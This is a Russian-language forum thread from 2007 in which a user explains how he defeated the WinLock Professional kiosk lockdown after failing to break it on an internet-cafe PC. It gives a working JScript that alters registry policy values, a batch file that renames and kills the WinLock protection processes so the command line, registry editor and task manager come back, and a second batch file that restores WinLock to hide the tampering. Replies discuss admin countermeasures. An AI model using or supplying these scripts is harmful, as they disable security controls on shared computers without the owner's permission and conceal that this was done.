WinLock Professional

Discussion in 'Безопасность и Анонимность' started by mind, 14 Dec 2007.

  1. mind

    mind Elder - Старейшина

    Joined:
    26 Jul 2007
    Messages:
    99
    Likes Received:
    25
    Reputations:
    0
    На днях в интернет-кафе столкнулся с такой противной программулиной WinLock Professional 4.6 (О ней упоминали вот здесь /thread48982.html). Парился целый час, но потушить ее так и не удалось. Решение пришло уже дома, когда скачал последнюю версию программы с официального сайта http://www.crystaloffice.com/ru и начал эксперименты в более благоприятных условиях. Оно оказалось очень простым, но я все же решил поделиться им, может кому пригодиться.

    Настройка программы админом заключается в расстановке флажков:
    Вкладка Общие.
    Защита:
    Включить защиту;
    Настройки:
    Включить защиту при загрузке;
    Мониторинг системы;
    Защита от выгрузки;
    Вкладка Система.
    Безопасность:
    Скрывать свойство папки;
    Скрывать свойство дисплея;
    Запретить обновление Windows;
    Запретить редактор реестра;
    Запретить диспетчер задач;
    Запретить смену пароля;
    Запретить консоль cmd.exe;
    Запретить безопасный режим;
    Запретить панель управления;
    Запретить блокировку компьютера;
    Запретить установку и удаление программ;
    Меню Пуск и панель задач:
    Снимаем галочку с пункта Выполнить;
    Снимаем галочку с пункта Смена пользователя;
    Запретить настройку панели задач;
    Рабочий стол:
    Запретить Active Desktop;
    Запретить переименование ярлыков на рабочем столе;
    Запретить фоновый рисунок HTML;
    Запретить изменение фонового рисунка;
    Диски:
    Снимаем галочку с системного диска в нашем случае это диск C:\
    Файл: здесь добавляем следующий файл
    C:\WINDOWS\system32\gpedit.msc
    Галочку разрешить чтение не ставить! Жмем OK. Итак прога настроена и готова к обороне... И так приступим...

    В более ранних версиях вобще отсутствовал какой либо контроль за состоянием процесса и его можно было выгрузить любым сторонним диспетчером задач, также отсутствовал надзор за изменением реестра. В версии 4.6 эти недостатки были исправлены однако не пользы от этого больше не стало. Наша цель выгрузить процесс WinLock'a, а точнее процессы: wlg.exe и winlock.exe. Функции первого и есть защита от выгрузки второго процесса =).

    Пишем скрипт на jscript (или vbs кому как нравиться) и сохраняем как go.js:


    Code:
    var WSHShell = WScript.CreateObject("WScript.Shell");
    // Так как не проверяется тип ключа, а только его наличие изменяем
    // его тип с DWORD на REG_SZ и включаем обработку bat файлов)
    WSHShell.RegWrite("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System\\DisableCMD","Fuck!");
    // Дублирование необходимо
    // При желании здесь можно выставить небольшую задержку
    WSHShell.RegWrite("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System\\DisableCMD","Fuck!");
    WSHShell.RegWrite("HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\System\\DisableCMD","Fuck!");
    // Запустим батник который выгрузит процессы WinLok'a 
    WSHShell.Run("kill.bat");
    WScript.Sleep(1000);
    // Теперь можно делать с виндой все что не взбредет в голову
    // Включаем свойство папки
    WSHShell.RegWrite("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoFolderOptions",0,"REG_DWORD");
    WSHShell.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoFolderOptions",0,"REG_DWORD");
    // Разрешаем редактор реестра
    WSHShell.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\system\\DisableRegistryTools",0,"REG_DWORD");
    WSHShell.RegWrite("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\system\\DisableRegistryTools",0,"REG_DWORD");
    // Включаем диспетчер задач
    WSHShell.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableTaskMgr",0,"REG_DWORD");
    WSHShell.RegWrite("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableTaskMgr",0,"REG_DWORD");
    Пишем вот такой батник kill.bat
    Code:
    rename "C:\Program Files\WinLockPro\wlg.exe" die.exe
    taskkill /IM wlg.exe /T /F
    rename "C:\Program Files\WinLockPro\winlock.exe" die_.exe
    taskkill /IM winlock.exe /T /F
    
    Теперь в твоем распоряжении командная строка, редактор реестра,диспетчер задач - вобщем полный боекомплект =) осталось только добавить немного фантазии...
    Как все свои дела сделал обязательно уберись за собой =) по отношению к винлоку делается это опять таки с помощью батника:
    Code:
    rename "C:\Program Files\WinLockPro\die.exe" wlg.exe
    rename "C:\Program Files\WinLockPro\die_.exe" winlock.exe
    start "C:\Program Files\WinLockPro\wlg.exe"
    start "C:\Program Files\WinLockPro\winlock.exe"
    
    Вот собственно и все )))
     
    3 people like this.
  2. heks

    heks Banned

    Joined:
    24 Aug 2007
    Messages:
    713
    Likes Received:
    95
    Reputations:
    12
    будет грамотный админ сделает запуск *.js скриптов как txt файлов
     
  3. mind

    mind Elder - Старейшина

    Joined:
    26 Jul 2007
    Messages:
    99
    Likes Received:
    25
    Reputations:
    0
    Да ты прав, но обычно админы не тока грамотные но ОЧЕНЬ ленивые люди :) в конце концов ничего не мешает взять сторонний редактор реестра и вклбчить обработку js.
    Не думаю что WinLock контролирует эти параметры. Тем болие полностью защитить реестр от изменений не возможно, в противном случае он теряет свой смысл, хотябы у системы должен быть к нему доступ.
     
  4. SHYLLER

    SHYLLER Elder - Старейшина

    Joined:
    10 Mar 2006
    Messages:
    30
    Likes Received:
    6
    Reputations:
    0
    а просто запоролить?
     
  5. mind

    mind Elder - Старейшина

    Joined:
    26 Jul 2007
    Messages:
    99
    Likes Received:
    25
    Reputations:
    0
    а кого поролить то?
     
  6. heks

    heks Banned

    Joined:
    24 Aug 2007
    Messages:
    713
    Likes Received:
    95
    Reputations:
    12
    как ты в реестр попадешь если все в винблоке заблокировать можно ?
     
  7. mind

    mind Elder - Старейшина

    Joined:
    26 Jul 2007
    Messages:
    99
    Likes Received:
    25
    Reputations:
    0
    Элементарно )) винлок блокирует редактор реестра но не сам реестр, привилегии system ему никто не даст... кому нужна нерабочая винда??? Может видео снять? :D
     
    1 person likes this.